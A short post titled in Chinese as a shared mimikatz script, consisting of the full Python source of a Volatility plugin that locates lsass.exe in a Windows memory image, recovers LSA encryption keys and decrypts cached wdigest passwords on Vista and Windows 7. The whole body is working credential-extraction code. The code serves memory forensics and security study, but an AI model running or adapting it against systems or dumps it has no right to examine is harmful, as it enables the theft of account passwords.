贴个mimiktz脚本
# Volatility mimikatz plugin # # Based on the research made by Gentil_Kiwi for his mimikatz # http://blog.gentilkiwi.com/mimikatz # https://code.google.com/p/mimikatz/ # # Author: Francesco Picasso <francesco.picasso@gmail.com> # # This plugin is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This plugin is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this plugin. If not, see <http://www.gnu.org/licenses/>. """ @author : Francesco Picasso @license : GPL 2 or later @contact : francesco.picasso@gmail.com @organization : www.realitynet.it """ import construct import os import re import struct import volatility.obj as obj import volatility.debug as debug import volatility.commands as commands import volatility.constants as constants import volatility.utils as utils import volatility.win32.tasks as tasks from Crypto.Cipher import AES from Crypto.Cipher import DES3 #------------------------------------------------------------------------------ class Credential(): """TODO: add description here.""" def __init__(self, module='', username='', domain='', epwd='', pwd=''): self.module = module self.username = username self.domain = domain self.epwd = epwd self.pwd = pwd self.signature = module + username + domain + epwd.encode('hex') def decrypt_epwd(self, decryptor): if self.epwd and decryptor: self.pwd = decryptor.decrypt(self.epwd) try: self.pwd = self.pwd.decode('utf-16-le').rstrip('\0') except UnicodeDecodeError: debug.warning('[Credential:decrypt_epwd] unicode decode error') self.pwd = self.pwd.encode('hex') def dump(self): debug.notice('m<{}> u<{}> d<{}> ep<{}> p<{}>'.format( self.module, self.username, self.domain, self.epwd.encode('hex'), self.pwd)) class Credentials(): """TODO: add description here.""" def __init__(self): self.credentials = [] def add_credential(self, credential): already_in = False for cred in self.credentials: if cred.signature == credential.signature: already_in = True if not already_in: self.credentials.append(credential) #------------------------------------------------------------------------------ class MemoryScanner(object): """An address space scanner based on scudette's Yara Scanner""" def __init__(self, task): self.task = task def _find_first(self, address_space, offset, maxlen, signature): """Raw memory scanner with overlap.""" # Allow some bytes for overlapping signatures overlap = 1024 i = offset while i < offset + maxlen: to_read = min( constants.SCAN_BLOCKSIZE + overlap, offset + maxlen - i) block = address_space.zread(i, to_read) if block: match = block.find(signature) if match >= 0: return match i += constants.SCAN_BLOCKSIZE def find_first(self, offset, signature): """Find the first match using VADs. It retuns a VA.""" task_as = self.task.get_process_address_space() task_vads = self.task.get_vads(skip_max_commit = True) for vad, __ in task_vads: if offset >= vad.Start and offset <= vad.Start + vad.Length: position = self._find_first(task_as, vad.Start, vad.Length, signature) if position: return position + vad.Start #------------------------------------------------------------------------------ class MimikatzBase(object): """The mimikatz base class, used to defined common attributes/methods.""" SIZEOF_LONG = 4 SIZEOF_PTR = None UNPACK_PTR = None UNPACK_LONG = '<L' def __init__(self, task): self.task = task self.task_as = task.get_process_address_space() def get_ptr(self, pos): raw_data = self.task_as.zread(pos, self.SIZEOF_PTR) if raw_data: return struct.unpack(self.UNPACK_PTR, raw_data)[0] def get_data(self, pos, size): if pos and size: return self.task_as.zread(pos, size) return '' class Mimikatz_x86(MimikatzBase): """The mimikatz x86 base class.""" SIZEOF_PTR = 4 UNPACK_PTR = '<L' def __init__(self, task): MimikatzBase.__init__(self, task) MimikatzBase.__init__(self, task) def get_ptr_with_offset(self, pos): return self.get_ptr(pos) class Mimikatz_x64(MimikatzBase): """The mimikatz x64 base class.""" SIZEOF_PTR = 8 UNPACK_PTR = '<Q' def __init__(self, task): MimikatzBase.__init__(self, task) def get_ptr_with_offset(self, pos): raw_data = self.task_as.zread(pos, self.SIZEOF_LONG) if raw_data: ptr = struct.unpack(self.UNPACK_LONG, raw_data)[0] return pos + self.SIZEOF_LONG + ptr #------------------------------------------------------------------------------ class LsaDecryptor(): """TODO: add description.""" SIGNATURE = None IV_LENGTH = 16 PTR_IV_OFFSET = None PTR_AES_KEY_OFFSET = None PTR_DES_KEY_OFFSET = None UUUR_TAG = 0x55555552 MSSK_TAG = 0x4d53534b HARD_KEY = construct.Struct('KIWI_HARD_KEY', construct.ULInt32('cbSecret'), construct.Field('data', lambda ctx: ctx.cbSecret)) # Modified to include HARD_KEY size. BCRYPT_KEY = construct.Struct('KIWI_BCRYPT_KEY', construct.ULInt32('size'), construct.ULInt32('tag'), # 'MSSK'. construct.ULInt32('type'), construct.ULInt32('unk0'), construct.ULInt32('unk1'), construct.ULInt32('unk2'), construct.ULInt32('cbSecret')) def __init__(self): self.iv = '' self.aes_key = '' self.des_key = '' def find_signature(self): for mod in self.task.get_load_modules(): if str(mod.BaseDllName).lower() == 'lsasrv.dll': scanner = MemoryScanner(self.task) return scanner.find_first(mod.DllBase.v(), self.SIGNATURE) debug.warning('[LsaDecryptor:find_signature()] signature not found!') def get_IV(self, pos): ptr_iv = self.get_ptr_with_offset(pos + self.PTR_IV_OFFSET) if ptr_iv: return self.get_data(ptr_iv, self.IV_LENGTH) def get_key(self, pos, key_offset): ptr_key = self.get_ptr_with_offset(pos + key_offset) if ptr_key: ptr_key = self.get_ptr(ptr_key) if ptr_key: size = self.BCRYPT_HANDLE_KEY.sizeof() data = self.get_data(ptr_key, size) if data: kbhk = self.BCRYPT_HANDLE_KEY.parse(data) if kbhk.tag == self.UUUR_TAG: ptr_key = kbhk.ptr_kiwi_bcrypt_key size = self.BCRYPT_KEY.sizeof() data = self.get_data(ptr_key, size) if data: kbk = self.BCRYPT_KEY.parse(data) if kbk.tag == self.MSSK_TAG: adjust = construct.ULInt32('').sizeof() size = kbk.cbSecret + adjust ptr_key = ptr_key + self.BCRYPT_KEY.sizeof() - adjust data = self.get_data(ptr_key, size) if data: khk = self.HARD_KEY.parse(data) return khk.data else: debug.warning('get_key() unable to get HARD_KEY.') else: debug.warning('get_key() BCRYPT_KEY invalid tag') else: debug.warning('get_key() unable to read BCRYPT_KEY data.') else: debug.warning('get_key() BCRYPT_HANDLE_KEY invalid tag') debug.warning(kbhk) else: debug.warning('get_key() unable to read BCRYPT_HANDLE_KEY data.') else: debug.warning('get_key() unable to get BCRYPT_HANDLE_KEY pointer.') else: debug.warning('get_key()unable to get first pointer.') def get_des_key(self, pos): return self.get_key(pos, self.PTR_DES_KEY_OFFSET) def get_aes_key(self, pos): return self.get_key(pos, self.PTR_AES_KEY_OFFSET) def acquire_crypto_material(self): sigpos = self.find_signature() if not sigpos: debug.warning('[LsaDecryptor] unable to find signature!') return self.iv = self.get_IV(sigpos) self.des_key = self.get_des_key(sigpos) self.aes_key = self.get_aes_key(sigpos) def decrypt(self, encrypted): # TODO: NT version specific, move from here in subclasses. cleartext = '' size = len(encrypted) if size: if size % 8: if not self.aes_key or not self.iv: return cleartext cipher = AES.new(self.aes_key, AES.MODE_CBC, self.iv) else: if not self.des_key or not self.iv: return cleartext cipher = DES3.new(self.des_key, DES3.MODE_CBC, self.iv[:8]) cleartext = cipher.decrypt(encrypted) return cleartext def dump(self): print 'Dumping LSA Decryptor' print ' IV ({}): {}'.format(len(self.iv), self.iv.encode('hex')) print 'DES_KEY ({}): {}'.format( len(self.des_key), self.des_key.encode('hex')) print 'AES_KEY ({}): {}'.format( len(self.aes_key), self.aes_key.encode('hex')) class LsaDecryptor_x86(LsaDecryptor, Mimikatz_x86): """TODO: add description.""" def __init__(self, lsass_task): Mimikatz_x86.__init__(self, lsass_task) LsaDecryptor.__init__(self) class LsaDecryptor_x64(LsaDecryptor, Mimikatz_x64): """TODO: add description.""" def __init__(self, lsass_task): Mimikatz_x64.__init__(self, lsass_task) LsaDecryptor.__init__(self) class LsaDecryptor_Vista_x86(LsaDecryptor_x86): """Class for Windows Vista x86.""" # MIMIKATZ x86: BYTE PTRN_WNO8_LsaInitializeProtectedMemory_KEY[] SIGNATURE = '\x8b\xf0\x3b\xf3\x7c\x2c\x6a\x02\x6a\x10\x68' PTR_IV_OFFSET = 11; PTR_AES_KEY_OFFSET = -15; PTR_DES_KEY_OFFSET = -70; BCRYPT_HANDLE_KEY = construct.Struct('KIWI_BCRYPT_HANDLE_KEY', construct.ULInt32('size'), construct.ULInt32('tag'), # Tag 'UUUR', 0x55555552. construct.ULInt32('ptr_void_algorithm'), construct.ULInt32('ptr_kiwi_bcrypt_key'), construct.ULInt32('ptr_unknown')) def __init__(self, lsass_task): LsaDecryptor_x86.__init__(self, lsass_task) class LsaDecryptor_Win7_x86(LsaDecryptor_x86): """Class for Windows 7 x86.""" # MIMIKATZ x86: BYTE PTRN_WNO8_LsaInitializeProtectedMemory_KEY[] SIGNATURE = '\x8b\xf0\x3b\xf3\x7c\x2c\x6a\x02\x6a\x10\x68' PTR_IV_OFFSET = 11; PTR_AES_KEY_OFFSET = -15; PTR_DES_KEY_OFFSET = -70; BCRYPT_HANDLE_KEY = construct.Struct('KIWI_BCRYPT_HANDLE_KEY', construct.ULInt32('size'), construct.ULInt32('tag'), # Tag 'UUUR', 0x55555552. construct.ULInt32('ptr_void_algorithm'), construct.ULInt32('ptr_kiwi_bcrypt_key'), construct.ULInt32('ptr_unknown')) def __init__(self, lsass_task): LsaDecryptor_x86.__init__(self, lsass_task) class LsaDecryptor_Vista_x64(LsaDecryptor_x64): """Class for Vista x64.""" SIGNATURE = '\x83\x64\x24\x30\x00\x44\x8b\x4c\x24\x48\x48\x8b\x0d' PTR_IV_OFFSET = 63; PTR_AES_KEY_OFFSET = 25; PTR_DES_KEY_OFFSET = -69; BCRYPT_HANDLE_KEY = construct.Struct('KIWI_BCRYPT_HANDLE_KEY', construct.ULInt32('size'), construct.ULInt32('tag'), # Tag 'UUUR', 0x55555552. construct.ULInt64('ptr_void_algorithm'), construct.ULInt64('ptr_kiwi_bcrypt_key'), construct.ULInt64('ptr_unknown')) def __init__(self, lsass_task): LsaDecryptor_x64.__init__(self, lsass_task) class LsaDecryptor_Win7_x64(LsaDecryptor_x64): """Class for Windows 7 x64.""" # MIMIKATZ x64: BYTE PTRN_WNO8_LsaInitializeProtectedMemory_KEY[] SIGNATURE = '\x83\x64\x24\x30\x00\x44\x8b\x4c\x24\x48\x48\x8b\x0d' PTR_IV_OFFSET = 59; PTR_AES_KEY_OFFSET = 25; PTR_DES_KEY_OFFSET = -61; BCRYPT_HANDLE_KEY = construct.Struct('KIWI_BCRYPT_HANDLE_KEY', construct.ULInt32('size'), construct.ULInt32('tag'), # Tag 'UUUR', 0x55555552. construct.ULInt64('ptr_void_algorithm'), construct.ULInt64('ptr_kiwi_bcrypt_key'), construct.ULInt64('ptr_unknown')) def __init__(self, lsass_task): LsaDecryptor_x64.__init__(self, lsass_task) #------------------------------------------------------------------------------ class Wdigest(): """TODO: add description.""" SIGNATURE = None FIRST_ENTRY_OFFSET = 0 WDIGEST_LIST_ENTRY = None MODULE_NAME = 'wdigest' MAX_WALK = 32 def __init__(self, credentials_obj): self.entries = [] self.entries_seen = {} self.credentials_obj = credentials_obj def find_signature(self): for mod in self.task.get_load_modules(): if str(mod.BaseDllName).lower() == 'wdigest.dll': scanner = MemoryScanner(self.task) return scanner.find_first(mod.DllBase.v(), self.SIGNATURE) debug.warning('[Wdigest] no wdigest.dll found in lsass process!') def get_entry_at(self, ptr): if ptr: size = self.WDIGEST_LIST_ENTRY.sizeof() data = self.get_data(ptr, size) if data: entry = self.WDIGEST_LIST_ENTRY.parse(data) return entry def get_first_entry(self): position = self.find_signature() if position: ptr_entry = self.get_ptr_with_offset(position + self.FIRST_ENTRY_OFFSET) if ptr_entry: ptr_entry = self.get_ptr(ptr_entry) if ptr_entry: entry = self.get_entry_at(ptr_entry) if entry: return entry, ptr_entry else: debug.warning('[Wdigest] no wdigest package found.') return None, None def get_unicode_string_at(self, ptr, size): data = self.get_data(ptr, size) if data: data_str = '' try: data_str = data.decode('utf-16-le').rstrip('\0') except UnicodeDecodeError as ee: debug.error( '[Wdigest] get_unicode_string_at() unicode error {}'.format( ee)) debug.warning('[Wdigest] src data is <{}>'.format(data_str)) return data_str else: debug.error('[Wdigest] get_unicode_string_at() unable to get data') return '' def add_entry(self, entry, found_at): if entry.usage_count: if entry.this_entry == found_at: user = domain = epwd = '' if entry.user_string_ptr and entry.user_len: user = self.get_unicode_string_at( entry.user_string_ptr, entry.user_max_len) if entry.domain_string_ptr and entry.domain_len: domain = self.get_unicode_string_at( entry.domain_string_ptr, entry.domain_max_len) if entry.password_encrypted_ptr and entry.password_len: epwd = data = self.get_data( entry.password_encrypted_ptr, entry.password_max_len) if user: cred_entry = Credential(self.MODULE_NAME, user, domain, epwd) self.credentials_obj.add_credential(cred_entry) def walk_entries(self): entry, found_at = self.get_first_entry() if entry: walk_num = 1 while walk_num < self.MAX_WALK: self.add_entry(entry, found_at) self.entries_seen[found_at] = 1 found_at = entry.previous entry = self.get_entry_at(found_at) if not entry: debug.error('Next entry not found!') break if entry.this_entry in self.entries_seen: break walk_num += 1 class Wdigest_x86(Wdigest, Mimikatz_x86): """TODO: add description.""" WDIGEST_LIST_ENTRY = construct.Struct('WdigestListEntry', construct.ULInt32('previous'), construct.ULInt32('next'), construct.ULInt32('usage_count'), construct.ULInt32('this_entry'), construct.ULInt64('luid'), construct.ULInt64('flag'), construct.ULInt16('user_len'), construct.ULInt16('user_max_len'), construct.ULInt32('user_string_ptr'), construct.ULInt16('domain_len'), construct.ULInt16('domain_max_len'), construct.ULInt32('domain_string_ptr'), construct.ULInt16('password_len'), construct.ULInt16('password_max_len'), construct.ULInt32('password_encrypted_ptr')) def __init__(self, lsass_task, credentials_obj): Mimikatz_x86.__init__(self, lsass_task) Wdigest.__init__(self, credentials_obj) class Wdigest_x64(Wdigest, Mimikatz_x64): """TODO: add description.""" WDIGEST_LIST_ENTRY = construct.Struct('WdigestListEntry', construct.ULInt64('previous'), construct.ULInt64('next'), construct.ULInt32('usage_count'), construct.ULInt32('align1'), construct.ULInt64('this_entry'), construct.ULInt64('luid'), construct.ULInt64('flag'), construct.ULInt16('user_len'), construct.ULInt16('user_max_len'), construct.ULInt32('align2'), construct.ULInt64('user_string_ptr'), construct.ULInt16('domain_len'), construct.ULInt16('domain_max_len'), construct.ULInt32('align3'), construct.ULInt64('domain_string_ptr'), construct.ULInt16('password_len'), construct.ULInt16('password_max_len'), construct.ULInt32('align4'), construct.ULInt64('password_encrypted_ptr')) def __init__(self, lsass_task, credentials_obj): Mimikatz_x64.__init__(self, lsass_task) Wdigest.__init__(self, credentials_obj) class Wdigest_Vista_x86(Wdigest_x86): """Class for Windows Vista x86.""" SIGNATURE = '\x74\x11\x8b\x0b\x39\x4e\x10' FIRST_ENTRY_OFFSET = -6 def __init__(self, lsass_task, credentials_obj): Wdigest_x86.__init__(self, lsass_task, credentials_obj) class Wdigest_Win7_x86(Wdigest_x86): """Class for Windows 7 x86.""" SIGNATURE = '\x74\x11\x8b\x0b\x39\x4e\x10' FIRST_ENTRY_OFFSET = -6 def __init__(self, lsass_task, credentials_obj): Wdigest_x86.__init__(self, lsass_task, credentials_obj) class Wdigest_Win7_x64(Wdigest_x64): """Class for Windows 7 x64.""" SIGNATURE = '\x48\x3b\xd9\x74' FIRST_ENTRY_OFFSET = -4 def __init__(self, lsass_task, credentials_obj): Wdigest_x64.__init__(self, lsass_task, credentials_obj) class Wdigest_Vista_x64(Wdigest_x64): """Class for Windows Vista x64.""" SIGNATURE = '\x48\x3b\xd9\x74' FIRST_ENTRY_OFFSET = -4 def __init__(self, lsass_task, credentials_obj): Wdigest_x64.__init__(self, lsass_task, credentials_obj) #------------------------------------------------------------------------------ class mimikatz(commands.Command): """mimikatz offline""" def __init__(self, config, *args, **kwargs): commands.Command.__init__(self, config, *args, **kwargs) self.profile = config.get_value('profile') self.credentials_obj = Credentials() def find_lsass(self): addr_space = utils.load_as(self._config) for task in tasks.pslist(addr_space): if str(task.ImageFileName) == 'lsass.exe': return task def init_objects(self, lsass_task): lsa_decryptor = None wdigest = None if len(self.profile) >= 7: arch = self.profile[-3:] sp = self.profile[-6:-3] os = self.profile[:-6] if os == 'Vista': if arch == 'x86': lsa_decryptor = LsaDecryptor_Vista_x86(lsass_task) wdigest = Wdigest_Vista_x86(lsass_task, self.credentials_obj) elif arch == 'x64': lsa_decryptor = LsaDecryptor_Vista_x64(lsass_task) wdigest = Wdigest_Vista_x64(lsass_task, self.credentials_obj) elif os == 'Win7': if arch == 'x86': lsa_decryptor = LsaDecryptor_Win7_x86(lsass_task) wdigest = Wdigest_Win7_x86(lsass_task, self.credentials_obj) elif arch == 'x64': lsa_decryptor = LsaDecryptor_Win7_x64(lsass_task) wdigest = Wdigest_Win7_x64(lsass_task, self.credentials_obj) else: pass return lsa_decryptor, wdigest def calculate(self): lsass_task = self.find_lsass() if not lsass_task: debug.error('lsass_task process not found!!') return lsa_decryptor, wdigest = self.init_objects(lsass_task) if not lsa_decryptor or not wdigest: return lsa_decryptor.acquire_crypto_material() wdigest.walk_entries() for cred in self.credentials_obj.credentials: cred.decrypt_epwd(lsa_decryptor) def render_text(self, outfd, data): self.table_header(outfd, [("Module", "8"), ("User", "16"), ("Domain", "16"), ("Password", "40")]) for cred in self.credentials_obj.credentials: self.table_row( outfd, cred.module, cred.username, cred.domain, cred.pwd)
